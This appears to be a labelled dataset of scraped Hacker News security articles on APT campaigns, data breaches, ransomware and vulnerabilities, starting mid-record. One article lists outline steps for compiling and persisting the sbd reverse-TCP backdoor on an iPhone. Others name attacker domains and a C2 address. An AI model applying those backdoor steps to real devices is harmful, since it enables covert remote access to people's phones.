https://IP_ADDRESS:8080/IoMgmt/Adapters/wifi0/WPS/Pin
Affected models are HP LaserJet Pro P1102w, HP LaserJet Pro P1606dn, HP LaserJet Pro CP1025nw, HP LaserJet Pro M1212nf MFP, HP LaserJet Pro M1213nf MFP, HP LaserJet Pro M1214nfh MFP, HP LaserJet Pro M1216nfh MFP, HP LaserJet Pro M1217nfw MFP, HP LaserJet Pro M1218nfs MFP, and Possibly others too.

HP has provided an updated printer firmware version: 20130703 to resolve this issue.

",Vulnerability
"The Mask, a malware campaign that remained undetected for 7 Years",https://thehackernews.com/2014/02/the-mask-malware-campaign-that-remained.html,"A Sophisticated cyber spying operation, 'The Mask', that has been under the mask for about 7 years targeting approximately 31 countries, has now been 'unmasked' by researchers at Kaspersky Labs.

The Researchers believe that the program has been operational since 2007 and is seems to be sophisticated nation-state spying tool that targeted government agencies and diplomatic offices and embassies before it was disclosed last month.

In the unveiling document published by Kaspersky, they found more than 380 unique victims, including Government institutions, diplomatic offices/embassies, private companies, research institutions, activists etc.

The name ""Mask"" comes from the Spanish slang word ""Careto"" (""Ugly Face"" or ""Mask"") which the authors included in some of the malware modules.

Developers of the 'Mask' aka 'Careto' used complex tool-set which includes highly developed malware, bootkit, rootkit etc. that has the ability to sniff encryption keys, VPN configuration, SSH keys and RDP file via intercept network traffic, keystrokes, Skype conversation, PGP keys, WI-Fi traffic, screen capturing, monitoring all file operations, that makes it unique and dangerous and more sophisticated than DUQU malware.

The malware targets files having an extension:
*.AKF, *.ASC, *.AXX, *.CFD, *.CFE, *.CRT, *.DOC, *.DOCX, *.EML, *.ENC, *.GMG, *.GPG, *.HSE, *.KEY, *.M15, *.M2F, *.M2O, *.M2R, *.MLS, *.OCFS, *.OCU, *.ODS, *.ODT, *.OVPN, *.P7C, *.P7M, *.P7Z, *.PAB, *.PDF, *.PGP, *.PKR, *.PPK, *.PSW, *.PXL, *.RDP, *.RTF, *.SDC, *.SDW, *.SKR, *.SSH, *.SXC, *.SXW, *.VSD, *.WAB, *.WPD, *.WPS, *.WRD, *.XLS, *.XLSX.
Victims of this malware found in: Algeria, Argentina, Belgium, Bolivia, Brazil, China, Colombia, Costa Rica, Cuba, Egypt, France, Germany, Gibraltar, Guatemala, Iran, Iraq, Libya, Malaysia, Mexico, Morocco, Norway, Pakistan, Poland, South Africa, Spain, Switzerland, Tunisia, Turkey, United Kingdom, United States and Venezuela.

The malware remains untraceable for about 7 years and was able to infect Mac OS X version, Linux, Windows, iPad/iPhone and android running devices.

According to the researchers, the Mask Malware was designed to infect the 32- and 64-bit Windows versions, Mac OS X and Linux versions, but researchers believe that possibly there may be more versions for Android and iPhones (Apple iOS) platforms.

In its main binary a CAB file having shlink32 and shlink64 dll files are found during the research from which the malware extract one of them, depending upon the architecture of the victim's machine and install it as objframe.dll.

It includes the most sophisticated backdoor SGH, which is designed to perform a large surveillance function and except this it has DINNER module which gets executed via APC remote calls and reload 'chef' module responsible for network connectivity and 'waiter' modules responsible for all logical operations.

Another backdoor called SBD (Shadowinteger's Backdoor) which uses open source tools like netcat is included in the malware. To infect Linux versions, Mozilla Firefox plugin ""af_l_addon.xpi"" was used and was hosted on ""linkconf[dot]net""

Spear phishing, a favorite attack used by most cyber attackers like SEA, was used to distribute this malware. Users were lured to click some malicious websites that contain a number of exploits to compromise their systems.
Kaspersky research found linkconf.net, redirserver.net and swupdt.com as hosting exploits. These websites don't infect the visitor, instead attacker hosts the exploit in a folder which cannot be navigated using the web, but they direct the link to that exploit in the phishing email.
To mask the attack into real, attackers use a fake SSL certificate of some unknown company TecSystem Ltd valid since 2010 and sometimes they also use subdomains to mask the attack appear more real; in which they simulate newspaper subsections that may include SPAIN's main Newspaper, The Washington Post and The Register etc.

Kaspersky had performed this research with more interest due to the reason that the malware has tried to exploit the vulnerability in its product i.e. Workstation products prior version 6.0.4.*, and KAV/KIS 8.0 versions.
""In case of the Careto implant, the C&C communication channel is protected by two layers of encryption. The data received from the C&C server is encrypted using a temporary AES key, which is also passed with the data and is encrypted with an RSA key. The same RSA key is used to encrypt the data that is sent back to the C&C server. This double encryption is uncommon and shows the high level of protection implemented by the authors of the campaign."" they said.
During the research and investigation of this malware, CC servers were found down, which shows that attacker group was monitoring all aspects related to the malware activity. Since there are no identified patterns in these attacks and who is behind these activities is yet a matter of investigation for the researchers out there.

",Malware
Permanent Reverse TCP Backdoor for IPhone and IPad,https://thehackernews.com/2012/04/permanent-reverse-tcp-backdoor-for.html,"Security Expert from Coresec explains the use of a Permanent Reverse TCP Backdoor ""sbd-1.36"" for IPhone and IPad developed by Michel Blomgren.


sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-128-CBC + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. Only TCP/IP communication is supported.

Steps to pwn the Iphone:
1. Install packages iphone-gcc using ""apt-get install iphone-gcc"" & make ""apt-get install make""
2. Download sbd backdoor to the device using Wget from here & Untar - ""tar -zxvf sbd-1.36.tar.gz""
3.) Sbd configuration before the compilation, See details here.
4.) Compilation process - ""make darwin""
5. Configuration to RunAtLoad using LaunchDaemons (for permanent access)
6. Gaining access to victim (from Linux box)

Get the Source Code here and Instructions to Use.

",Malware
How Facebook Ticker exposing your information and behavior without your knowledge,https://thehackernews.com/2011/10/how-facebook-ticker-exposing-your.html,"How Facebook Ticker exposing your information and behavior without your knowledge
Nelson Novaes Neto, a Brazilian (independent) Security and Behavior Research have analyze a privacy issue in Facebook Ticker that allows any person chasing you without your knowledge or consent . He explain that this is not a code vulnerability, but here the whole issue is related to users privacy.

Nelson said on his blog ""This tool - monitor others began to run when it introduced a new feature called Ticker. This new feature (Ticker) does not respect the privacy settings and it now Comments (updates), add friends, likes and can be seen by others (friend *) anyone without your permission. * You really know a friend tell me if it is real or fake profile - cloned?""

Nelson Give Proof of Concept with a very creative real life scenario. Check out a live demonstration, where a ""novel"" explains how the issue of privacy (you can use any browser to play it).

Description: This is a scenario where your online behavior can be exposed without their knowledge through the new tool in Facebook called Ticker. I used four Facebook profiles to create this POC (proof of concept), where a woman was cheating on her husband on Facebook.

Synopsis: A couple are a Facebook user, each with its own profile. One day her husband found his wife adding her ex-boyfriend as a friend and started talking to him. After her husband's become really angry, removed his wife's ex-boyfriend's profile.

The wife also discovered that all comments (updates), added Likes and friends were available in your profile (Wall - Wall) and visible to everyone her friend. She then removed all the updates (updates) and blocked new updates to be published automatically on your profile (Wall). Thus, her husband, so it could not be updated of their shares of his wife.

After Facebook launched this new tool called Ticker, a friend of the couple (as have the two friends) saw that updates the wife of his friend appear in real time ticker, and told him his wife again added the ex-boyfriend and I was talking to him, writing in his posts and vice versa. The husband checked the profile of the wife, but found nothing there. His friend said that this new tool (Ticker) lets you see updates from anyone on your list of friends, as well as users that have been noted for his friends.

What is happening? As the husband could not see anything (updates it) in the profile of his wife, but your friend can see everything from this thing called Ticker?
Video Demonstration :

The issue is now public , because according to Nelson, he reported this privacy issue to Facebook Secutiry team a few months ago and until now he haven't get any positive response from facebook. He said ""Considering I respect some code of ethics (that protect society, commonwealth and infrastructure.) I think it was going completely against users desires and worth to be shared with everyone.""

",Vulnerability
"TeaMp0isoN : NASA forum is Vulnerable SQL injection, Admin Hacked !",https://thehackernews.com/2011/08/teamp0ison-nasa-forum-is-vulnerable-sql.html,"TeaMp0isoN : NASA forum is Vulnerable SQL injection, Admin Hacked !
TeaMp0isoN Hackers crew today Reveal on twitter that the discussion forum on NASA website at https://worldwind35.arc.nasa.gov/forum/ is Vulnerable to SQL injection. The discussion Forum script is Powered by Vbulletin. According to hacker, He use Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability Exploit for hacking the Database of Forum . Hacker also expose the Login details of Admin of website on Pastie .



",Vulnerability
Cyber espionage by Chinese hackers in neighbouring nations is on the rise,https://thehackernews.com/2021/06/cyber-espionage-by-chinese-hackers-in.html,"A string of cyber espionage campaigns dating all the way back to 2014 and likely focused on gathering defense information from neighbouring countries have been linked to a Chinese military-intelligence apparatus.
In a wide-ranging report published by Massachusetts-headquartered Recorded Future this week, the cybersecurity firm's Insikt Group said it identified ties between a group it tracks as ""RedFoxtrot"" to the People's Liberation Army (PLA) Unit 69010 operating out of Ürümqi, the capital of the Xinjiang Uyghur Autonomous Region in the country.
Previously called the Lanzhou Military Region's Second Technical Reconnaissance Bureau, Unit 69010 is a military cover for a Technical Reconnaissance Bureau (TRB) within China's Strategic Support Force (SSF) Network Systems Department (NSD).
The connection to PLA Unit 69010 stems from what the researchers said were ""lax operational security measures"" adopted by an unnamed suspected RedFoxtrot threat actor, whose online persona disclosed the physical address of the reconnaissance bureau and has had a history of affiliating with the PLA's former Communications Command Academy in Wuhan.
RedFoxtrot is noted to target government, defense, and telecommunications sectors across Central Asia, India, and Pakistan, with intrusions in the last six months directed against three Indian aerospace and defense contractors as well as major telecommunications providers and government agencies in Afghanistan, India, Kazakhstan, and Pakistan.
""Activity over this period showed a particular focus on Indian targets, which occurred at a time of heightened border tensions between India and the People's Republic of China,"" the researchers said.
Attacks staged by the adversary involved an assortment of open- and closed-source tools that have been shared across Chinese cyber espionage groups, including PlugX, Royal Road RTF weaponizer, QUICKHEAL, PCShare, IceFog, and Poison Ivy RAT.
Also observed is the use of AXIOMATICASYMPTOTE infrastructure, which encompasses a modular Windows backdoor called ShadowPad that has been previously attributed to APT41 and subsequently shared between other Chinese state-backed actors.
Furthermore, domains registered by RedFoxtrot — ""inbsnl.ddns[.]info"" and ""adtl.mywire[.]org"" — suggest that the threat actor may have set its sights on Indian telecom service provider Bharat Sanchar Nigam Limited (BSNL) and a Bengaluru-based company called Alpha Design Technologies Limited (ADTL) that specializes in research and development of missile, radar, and satellite systems.
The development comes more than three months after another China-linked threat group, dubbed RedEcho, was uncovered targeting India's power grid, including a power plant run by National Thermal Power Corporation (NTPC) Limited and New Delhi-based Power System Operation Corporation Limited.

",Cyber_Attack
Researcher finds a way to Delete and Modify Facebook Messages Sent to Other Users,https://thehackernews.com/2016/06/delete-facebook.html,"Sometimes I receive emails from our readers who wanted to know how to hack Facebook account, but just to delete some of their messages they have sent to their friends or colleagues mistakenly or under wrong circumstances like aggression.

How to hack a Facebook account? It is probably the biggest ""n00b"" question you will see on the Internet.

The solution for this query is hard to find — but recently researchers have shown that how you can modify or alter your messages once you have pressed the SEND button in Facebook Messenger.

According to the researcher Roman Zaikin from cyber security firm Check Point, a simple HTML tweak can be used to exploit Facebook online chat as well as its Messenger app, potentially allowing anyone to modify or delete any of his/her sent message, photo, file, and link.

Though the bug is simple, it could be exploited by malicious users to send a legitimate link in a Facebook chat or group chat, and later change it to a malicious link that could lead to a malware installation, tricking victims into infecting their systems.

Here's How the Exploit Works:

The exploit works on the way Facebook assigns identities to chat messages. Each chat message has a unique ""message_id"" identifier that could be revealed by sending a request to www.facebook.com/ajax/mercury/thread_info.php.

Once message_id is identified, an attacker could alter its respective message content and send it back to Facebook servers which accept the new content as legitimate and push it back to the victim's PC or mobile device.

Video Demonstration:

""By exploiting this vulnerability, cyber criminals could change a whole chat thread without the victim realizing,"" said Oded Vanunu, Head of Products Vulnerability Research at Check Point.

""What's worse. The hacker could implement automation techniques to continually outsmart security measures for long-term chat alterations. We applaud Facebook for such a rapid response and putting security first for their users.""

Researchers discovered the vulnerability earlier this month and notified Facebook about the flaw.

The social networking giant promptly moved to fix the vulnerability, though Facebook explained that the flaw only affected its Messenger app on Android.

""Based on our investigation, this simple misconfiguration in the Messenger app on Android turned out to be a low-risk issue, and it's already been fixed,"" Facebook wrote in its blog post published Tuesday.

Additionally, Facebook claims the vulnerability could not be exploited to infect its users' PCs with malicious software, as the company is using anti-spam and anti-virus filters to detect malware and spams.

",Malware
Nearly Half of the Norway Population Exposed in HealthCare Data Breach,https://thehackernews.com/2018/01/healthcare-data-breach.html,"Cybercriminals have stolen a massive trove of Norway's healthcare data in a recent data breach, which likely impacts more than half of the nation's population.

An unknown hacker or group of hackers managed to breach the systems of Health South-East Regional Health Authority (RHF) and reportedly stolen personal info and health records of some 2.9 million Norwegians out of the country's total 5.2 million inhabitants.

Health South-East RHA is a healthcare organisation that manages hospitals in Norway's southeast region, including Østfold, Akershus, Oslo, Hedmark, Oppland, Buskerud, Vestfold, Telemark, Aust-Agder and Vest-Agder.

The healthcare organisation announced the data breach on Monday after it had been alerted by HelseCERT, the Norwegian CERT department for its healthcare sector, about an ""abnormal activity"" against computer systems in the region.

HelseCERT also said the culprits behind the data breach are ""advanced and professional"" hackers, although it is still unknown as to whether they were managed to exfiltrate data successfully and if so, how many people may have been impacted.

So far there's also no evidence if the stolen data theft has had any consequences for or effects on patients' safety. However, the healthcare organisation assured that security ""measures had been taken to limit the damage caused by the burglary.""

""We are in a phase where we try to get an overview. It's far too early to say how big the attack is. We are working to acquire knowledge of all aspects, "" NorCERT director Kjetil Nilsen told Norwegian publication VG.

""Everything indicates that it is an advanced player who has the tools and ability to perform such an attack. It can be advanced criminals. There is a wide range of possibilities.""

Why Do Hackers Want Your Health Data?

Digital healthcare has been growing to satisfy the demands of connected healthcare technology that provides better treatment and improved patient care.

We know that any organisation with a computer is at risk from cyber-attacks both from criminals wanting to extort money and state-sponsored hackers wanting to cause chaos.

Since the healthcare sector is part of the critical national infrastructure, alongside water, electricity and transport, it becomes an attractive target for hackers.

Believe it or not, your medical records are worth more to hackers than your stolen credit card details on the dark web markets.

Financial data has a finite lifespan, but the information contained in health care records—which includes names, birth dates, policy numbers, diagnosis codes, social security number and billing information—has a much longer shelf life and is rich enough for identity theft.

Fraudsters can use this data to create fake identities to do all illegal kinds of stuff in your name, combine a patient number with a false provider number and file fake claims with insurers, and even file fake tax returns using your stolen addresses, phone numbers and employment history.

How to Protect Yourself After a Data Breach?

If you are a one of those affected by the healthcare breach, you will have to remain vigilant against fraud for the rest of your lives, because the risk of identity theft isn't short term, unlike in case of credit cards fraud.

You may follow the following steps to protect yourself:

1) Monitor Your Accounts: Watch out if someone using your information do not ever try to take over or transfer money out of your existing accounts. Don't forget that thieves with stolen details on you can get through your security questions, including the last four digits of your social and street address. Also, watch for any unauthorised activity or transfers on your current financial accounts.

2) File Your Taxes Early: With the stolen information in the hands, cyber thieves could hook your tax refund by filing your taxes early and claiming it for themselves. So, to avoid any such problems, file your taxes as early as possible.

3) Stay Vigilant: The foremost thing to protect against any breach is to stay vigilant, as nobody knows when or where your stolen identities will be used. So, affected consumers will simply have to stay mindful forever.

",Data_Breaches
Rogue software update cause Malware attack on Japanese Nuclear Power Plant,https://thehackernews.com/2014/01/rogue-software-update-cause-malware_9.html,"The most critical and worst target of a State-sponsored cyber-attacks could be Hospitals, Dams, Dykes and Nuclear power stations and this may cause military conflicts between countries.
According to Japan Today, The Monju nuclear power plant in Tsuruga, Japan was accidentally targeted by a malware on 2nd January, when a worker updated the system to the latest version of the video playback program.

Monju Nuclear Plant is a sodium-cooled fast reactor, was launched in April 1994. It has not been operational for most of the past 20 years, after an accident in which a sodium leak caused a major fire.

Employees over there are only left with a regular job of company's paperwork and maintenance. So the malware could have stolen only some sensitive documents, emails, training records and employees' data sheets. The Malware command-and-control server suspected to be from South Korea.

The malware itself is not much sophisticated like Stuxnet or Duqu, but the unmanaged software update and patch management system can seriously lead to a critical cyber attack. Even being isolated from the Internet does not prevent you from being infected.

One of the best examples of flawed Internal policies is Stuxnet, one of the most infamous pieces of malware ever created to destroy Iranian Nuclear plants and infected the systems through a USB stick only.

Also in November, The Kaspersky revealed that Russian astronauts carried a removable device into space which infected systems on the space station.

",Cyber_Attack
Spammers using Facebook Messenger to Spread Locky Ransomware,https://thehackernews.com/2016/11/locky-ransomware-facebook.html,"If you came across any Facebook Message with an image file (exactly .SVG file format) send by any of your Facebook friends, just avoid clicking it.

An ongoing Facebook spam campaign is spreading malware downloader among Facebook users by taking advantage of innocent-looking SVG image file to infect computers.

If clicked, the file would eventually infect your PC with the nasty Locky Ransomware, a family of malware that has quickly become one of the favorite tools among criminals due to its infecting capabilities.

Discovered by malware researcher Bart Blaze, the attack campaign uses Facebook Messenger to spread a malware downloader called Nemucod that takes the form of .SVG image files.

Why SVG file? Hackers considered SVG (or Scalable Vector Graphics) files for spreading the malware downloader, because SVG has the ability to contain embedded content such as JavaScript, and can be opened in a modern web browser.

Crooks added their malicious JavaScript code right inside the image file itself, which was actually a link to an external file.

If clicked, the malicious image file would redirect you to a website mimicking YouTube, but with completely different URL.

Like a typical way to deliver malware infection, the site would push a popup, asking you to download and install a certain codec extension in Google Chrome in order to view the video. The malicious extension used two names, Ubo and One.

Once installed, the extension gives the attackers ability to alter your data regarding websites they visit, as well as takes advantage of browser's access to your Facebook account in order to secretly message all your Facebook friends with the same SVG image file.

What's even worse? Peter Kruse, another malware researcher and colleague of Blaze, noted that the SVG image file containing the Nemucod downloader, in some cases, then ultimately downloads a copy of Locky ransomware on victim's PC.

Locky ransomware is one of the most popular ransomware that locks all files on a victim's computer with RSA-2048 and AES-1024 encryption algorithms and unlocks them until the ransom is paid to attackers.

It is not clear at this moment how the SVG files managed to bypass Facebook's file whitelist extension filter, but both Google and Facebook's security team has already been notified of the attack.

How to Remove the Malicious Extensions?

While Google has already removed the malicious extensions from its Chrome Store, Facebook will hopefully soon block it entirely.

Update: A spokesperson from Facebook provided a statement to The Hacker News, which reads:
""We maintain a number of automated systems to help stop harmful links and files from appearing on Facebook, and we are already blocking these ones from our platform. In our investigation, we determined that these were not in fact installing Locky malware—rather, they were associated with Chrome extensions. We have reported the bad browser extensions to the appropriate parties.""
He also said that the assertion that this malicious Chrome extension was installing the Locky malware is incorrect. Also, the company believes that the impact of the attack on Facebook has been very limited, as it requires an additional step to install software onto victim's browser or computer.

If you are one of those who had been tricked into installing one of the two malicious extensions, you can remove it immediately.

To remove the offending extension, just go to Menu → More Tools → Extensions and check for the extension and remove it.

However, if you have been unlucky and you would have ended up with the Locky ransomware and the only way for restoring your files is: A regular backup. If not, you are screwed up!

Blaze advises, ""As always, be wary when someone sends you just an 'image' – especially when it is not how he or she would usually behave.""

",Malware
security researchers found yet another vulnerability in JAVA after update,https://thehackernews.com/2012/09/security-researchers-found-yet-another.html,"Oracle released an emergency patch on Thursday for previously unknown Java vulnerabilities that cybercriminals had targeted with popular exploit kits within hours after the bugs' existence became public, security researchers found yet another vulnerability that can be exploited to run arbitrary code on systems that have the runtime installed.

Security researchers from Poland-based security firm Security Explorations claim to have discovered a vulnerability in the Java 7 security update released Thursday that can be exploited to escape the Java sandbox and execute arbitrary code on the underlying system.

While so far the vulnerability has only been found being used against Windows, other platforms such as the Mac OS could potentially be targeted through the same exploit. Security Explorations sent a report about the vulnerability to Oracle on Friday together with a proof-of-concept exploit, Adam Gowdiak, the security company's founder and CEO said Friday via email.

The company doesn't plan to release any technical details about the vulnerability publicly until Oracle addresses it, Gowdiak said. According to Gowdiak, Security Explorations privately reported 29 vulnerabilities in Java 7 to Oracle back in April, including the two that are now actively exploited by attackers.

The new vulnerability discovered by Security Explorations in Java 7 Update 7 can be combined with some of the vulnerabilities left unpatched by Oracle to achieve a full JVM sandbox bypass again.

Security researchers have always warned that if vendors take too much time to address a reported vulnerability it might be discovered by the bad guys in the meantime, if they don't already know about it.

",Vulnerability
Cyber Espionage Group Targets Asian Countries With Bitcoin Mining Malware,https://thehackernews.com/2018/02/cyber-espionage-asia.html,"Security researchers have discovered a custom-built piece of malware that's wreaking havoc in Asia for past several months and is capable of performing nasty tasks, like password stealing, bitcoin mining, and providing hackers complete remote access to compromised systems.

Dubbed Operation PZChao, the attack campaign discovered by the security researchers at Bitdefender have been targeting organizations in the government, technology, education, and telecommunications sectors in Asia and the United States.

Researchers believe nature, infrastructure, and payloads, including variants of the Gh0stRAT trojan, used in the PZChao attacks are reminiscent of the notorious Chinese hacker group—Iron Tiger.

However, this campaign has evolved its payloads to drop trojan, conduct cyber espionage and mine Bitcoin cryptocurrency.

The PZChao campaign is attacking targets across Asia and the U.S. by using similar attack tactics as of Iron Tiger, which, according to the researchers, signifies the possible return of the notorious Chinese APT group.

Since at least July last year, the PZChao campaign has been targeting organizations with a malicious VBS file attachment that delivers via highly-targeted phishing emails.

If executed, the VBS script downloads additional payloads to an affected Windows machine from a distribution server hosting ""down.pzchao.com,"" which resolved to an IP address (125.7.152.55) in South Korea at the time of the investigation.

The threat actors behind the attack campaign have control over at least five malicious subdomains of the ""pzchao.com"" domain, and each one is used to serve specific tasks, like download, upload, RAT related actions, malware DLL delivery.
The payloads deployed by the threat actors are ""diversified and include capabilities to download and execute additional binary files, collect private information and remotely execute commands on the system,"" researchers noted.
The first payload dropped on the compromised machines is a Bitcoin miner, disguised as a 'java.exe' file, that mines cryptocurrency every three weeks at 3 AM, when most people are not in front of their systems.

For password stealing, the malware also deploys one of two versions of the Mimikatz password-scraping utility (depending on the operating architecture of the affected machine) to harvest passwords and upload them to the command and control server.

PZChao's final payload includes a slightly modified version of Gh0st remote access trojan (RAT) which is designed to act as a backdoor implant and behaves very similar to the versions detected in cyber attacks associated with the Iron Tiger APT group.

The Gh0st RAT is equipped with massive cyber-espionage capabilities, including:
Real-time and offline remote keystroke logging
Listing of all active processes and opened windows
Listening in on conversations via microphone
Eavesdropping on webcams' live video feed
Allowing for remote shutdown and reboot of the system
Downloading binaries from the Internet to remote host
Modifying and stealing files and more.
All of the above capabilities allows a remote attacker to take full control of the compromised system, spy on the victims and exfiltrate confidential data easily.

While the tools used in the PZChao campaign are a few years old, ""they are battle-tested and more than suitable for future attacks,"" researchers say.

Active since 2010, Iron Tiger, also known as ""Emissary Panda"" or ""Threat Group-3390,"" is a Chinese advanced persistent threat (APT) group that was behind previous campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors.

Similar to the PZChao campaign, the group also carried out attacks against entities in China, the Philippines, and Tibet, besides attacking targets in the U.S.

For further insights, you can read the detailed technical paper [PDF] published by Bitdefender.

",Malware
Ransomware Hijacks Hotel Smart Keys to Lock Guests Out of their Rooms,https://thehackernews.com/2017/01/ransomware-hotel-smart-lock.html,"What's the worst that could happen when a Ransomware hits a Hotel?

Recently, hundreds of guests of a luxurious hotel in Austria were locked in or out of their rooms when ransomware hit the hotel's IT system, and the hotel had no choice left except paying the attackers.

Today, we are living in a digital age that is creating a digital headache for people and organizations around the world with cyber attacks and data breaches on the rise.

Ransomware is one of them.

The threat has been around for a few years, but during 2016, it has turned into a noxious game of Hackers to get paid effortlessly by targeting hospitals, Universities, private businesses and even police departments and making hundreds of millions of dollars.

Now, the Romantik Seehotel Jäegerwirt 4-Star Superior Hotel has admitted it paid €1,500 (£1,275/$1,600) in Bitcoin ransom to cybercriminals who managed to break into their network and hack their electronic key card system that prevented its guests from entering or leaving their rooms.

The luxury hotel with a beautiful lakeside setting on the Alpine Turracher Hoehe Pass in Austria, like several other hotels in the industry, has a modern IT system that includes key cards for its hotel doors, which could not be programmed.

Also Read: This Tool Detects Never-Seen-Before Ransomware Before It Encrypts Your Data

According to the hotel management, the hotel has been hit multiple times by hackers, but this time they managed to take down the entire key system, preventing its guests to getting in or going out of their rooms, reported The Local.

Besides gaining control of the electronic key system, the hackers even gained control over the general computer system, shutting down all hotel computers, including the reservation system and the cash desk system.

Once the hotel made the payment, the system was completely restored that allowed the hotel staff to gain access to the network and hotel guests to enter and exit their rooms.

What's interesting? Even after the hotel fulfilled the hackers demand, the hackers left a backdoor to the hotel system in an attempt to conduct another cyber attack later.

Fortunately, the security standards of the hotel had been improved by its IT department, and critical networks had been separated to thwart the attack, giving attackers no chance to harm the hotel again.

Furious hotel managers decided to go public with the incident to warn others about the dangers of cyber attack, with Managing Director Christoph Brandstaetter said:
""The house was totally booked with 180 guests; we had no other choice. Neither police nor insurance helps you in this case.
The restoration of our system after the first attack in summer has cost us several thousand Euros. We did not get any money from the insurance so far because none of those to blame could be found.
Every euro that is paid to blackmailers hurts us. We know that other colleagues have been attacked, who have done similarly.""
The Ransomware had stolen the nights of many businesses and organizations, as they would often be blamed to fight up to this nasty threat.

Ransomware criminals often demand the ransom in Bitcoin (BTC) for the surety of not getting caught, as Bitcoin transactions are non-trackable due to its decentralized nature.

The frequent payment to Ransomware encourages criminals to stash the cash and develop a more enticing framework for the next target. So, instead of paying or encouraging this scheme, keep your software and systems updated and avoid clicking suspicious links.

",Cyber_Attack
Vulnerability in World Largest Video Site Turned Million of Visitors into DDoS Zombies,https://thehackernews.com/2014/04/vulnerability-in-worlds-largest-site.html,"An application layer or 'layer 7' distributed denial of service (DDoS) attacks is one of the most complicated web attack that disguised to look like legitimate traffic but targets specific areas of a website, making it even more difficult to detect and mitigate.

Just Yesterday Cloud-based security service provider 'Incapsula' detected a unique application layer DDoS attack, carried out using traffic hijacking techniques. DDoS attack flooded one of their client with over 20 million GET requests, originating from browsers of over 22,000 Internet users.

What makes this case especially interesting is the fact that the attack was enabled by persistent XSS vulnerability in one of the world's largest and most popular site - one of the domains on Alexa's ""Top 50"" list.

XSS vulnerability to Large-Scale DDoS Attack
Incapsula has not disclosed the name of vulnerable website for security reasons, but mentioned it as a high profile video content provider website, allows its users to sign-up and sign-in with their own profiles.

The DDoS attack was enabled by a Persistent XSS (Cross site scripting) vulnerability that allowed the attacker to inject a malicious JavaScript code into the
tag associated with the profile image.
So, as each time a legitimate visitor arrived to any webpage on the vulnerable domain (e.g. pages where attacker has commented from his profile), attacker's profile image will also load into the visitor's browser and it would automatically execute the injected JavaScript which in turn injects a hidden iframe with the address of the DDoSers C&C domain.

According to Incapsula, attackers are using a Ajax-script based DDoS tool, that force browser to issue a DDoS request at the rate of one request per second.

""Obviously one request per second is not a lot. However, when dealing with video content of 10, 20 and 30 minutes in length and with thousands of views every minute, the attack can quickly become very large and extremely dangerous."" researchers explained.
So to make it a large scale DDoS attack, attacker strategically posted comments on the popular video pages, effectively created a self-sustaining botnet comprising tens of thousands of hijacked browsers, operated by unsuspecting human visitors who were only there to watch a few funny cat videos.

Intercepting the Attack
The attack was blocked by Incapsula's progressive challenges and behaviour-based security algorithms, made that much more effective by the predictable behaviour of the DDoS tool. ""By intercepting the malicious requests, we were also able to trace back the attack's source. We did this by replacing the content of the target URL with a snippet of our own JavaScript, which reported the original referral source – leading us to the abused video website. "" they said,

Researchers also mentioned that attackers behind recent DDoS attack have upgraded their DDoS tool to a much more robust version. ""This leads us to believe that what we saw yesterday was a sort of POC test run. "" Incapsula quickly reached out to the vulnerable video website support team to patch the flaw.

UPDATE:
Incapsula has exposed that vulnerable video website was Sohu.com - China's eighth largest website and currently the 27th most visited website in the world.

",Vulnerability
15-year-old Boy Arrested in connection with TalkTalk Cyber Attack,https://thehackernews.com/2015/10/talktalk-hacker-arrested.html,"The arrest is the first major outcome since TalkTalk – the biggest phone and broadband provider in the UK with more than 4 Million customers – had suffered a serious data breach.

The Police Service of Northern Ireland (PSNI) and the investigating officers from the Metropolitan police's cyber crime unit (MPCCU) have arrested a 15-year-old boy in connection with the latest cyber attack on TalkTalk.

The press release issued by the police said the boy was detained in County Antrim at about 4.20pm on Monday on suspicion of committing offences under the Computer Misuse Act.

The Computer Misuse Act 1990 is an act of the Parliament of the United Kingdom, according to which any computer misuse offences like:
Unauthorised access to computer material.
Unauthorised access with the intent to commit further offences.
Unauthorised acts with the intent to impair, or with recklessness as to impairing, operation of the computers, and other electronic devices.
...Are considered as criminal doings and anyone charged under the Computer Misuse Act is liable to get a serious punishment of being imprisoned and payment of a hefty fine.
""The teenager was arrested on suspicion of offences under the Computer Misuse Act 1990,"" the police said on the arrest. ""He was taken into custody at a County Antrim police station where he will be interviewed. A search of the address is under way and enquiries continue.""
The recent data breach in TalkTalk puts the Bank Details and Personally Identifiable Information (PII) of its 4 Million customers at risk.

It is also believed that some part of the information retrieved by the hackers was stored in an unencrypted form by TalkTalk group.

This isn't the first time when TalkTalk suffered a data breach, the telecom company became the target of the hackers the third time since the past one year.

In the latest hack the alleged hackers also demanded ransom in Bitcoins.
Security experts believe that the recent data breach may have taken place due to SQL injection (SQLi) attack, a method used to inject SQL commands to breach the database and get access to the users' personal data.

On learning about the 15-year-old's arrest, TalkTalk group reportedly said, ""We know this has been a worrying time for customers and we are grateful for the swift response and hard work of the police. We will continue to assist in the ongoing investigation.""

After being victimised, the Chief Executive of TalkTalk Diana Mary Harding gives a statement stressing on the seriousness of the need of cyber security:
""This is happening to a huge number of organisations all the time. The awful truth is that every company, every organisation in the UK needs to spend more money and put more focus on cyber security -- it is the crime of our era.""
""In some ways I would love to say this is just a TalkTalk issue, I'd love to believe this is just us – but it isn't,"" she added.
As a prevention measure, the affected TalkTalk customers are highly recommended to change their passwords as soon as possible and keep an eye on their bank accounts over the next few months.

",Data_Breaches
Flipboard Database Hacked — Users' Account Information Exposed,https://thehackernews.com/2019/05/flipboard-data-breach-hacking.html,"Flipboard, a popular social sharing and news aggregator service used by over 150 million people, has disclosed that its databases containing account information of certain users have been hacked.

According to a public note published yesterday by the company, unknown hackers managed to gain unauthorized access to its systems for nearly 10 months—between June 2, 2018, and March 23, 2019, and then again on April 21-22, 2019.

The hackers then potentially downloaded database containing Flipboard users' real name, usernames, cryptographically (salted hash) protected passwords and email addresses, including digital tokens for users who linked their Flipboard account to a third-party social media service.

According to a breach notification email sent out to affected users and seen by The Hacker News, the company has now reset passwords for all users as a precautionary measure, forcing users to create a new strong password for their accounts.

""You can continue to use Flipboard on devices from which you are already logged in. When you access your Flipboard account from a new device or the next time you log into Flipboard after logging out of your account, you will be asked to create a new password,"" the company said.

Flipboard also said it had not seen unauthorized access to any third-party account and still in the process of determining the total number of affected users.

The company has also decided to replace or delete all digital tokens, making them no longer valid and therefore cannot be misused.

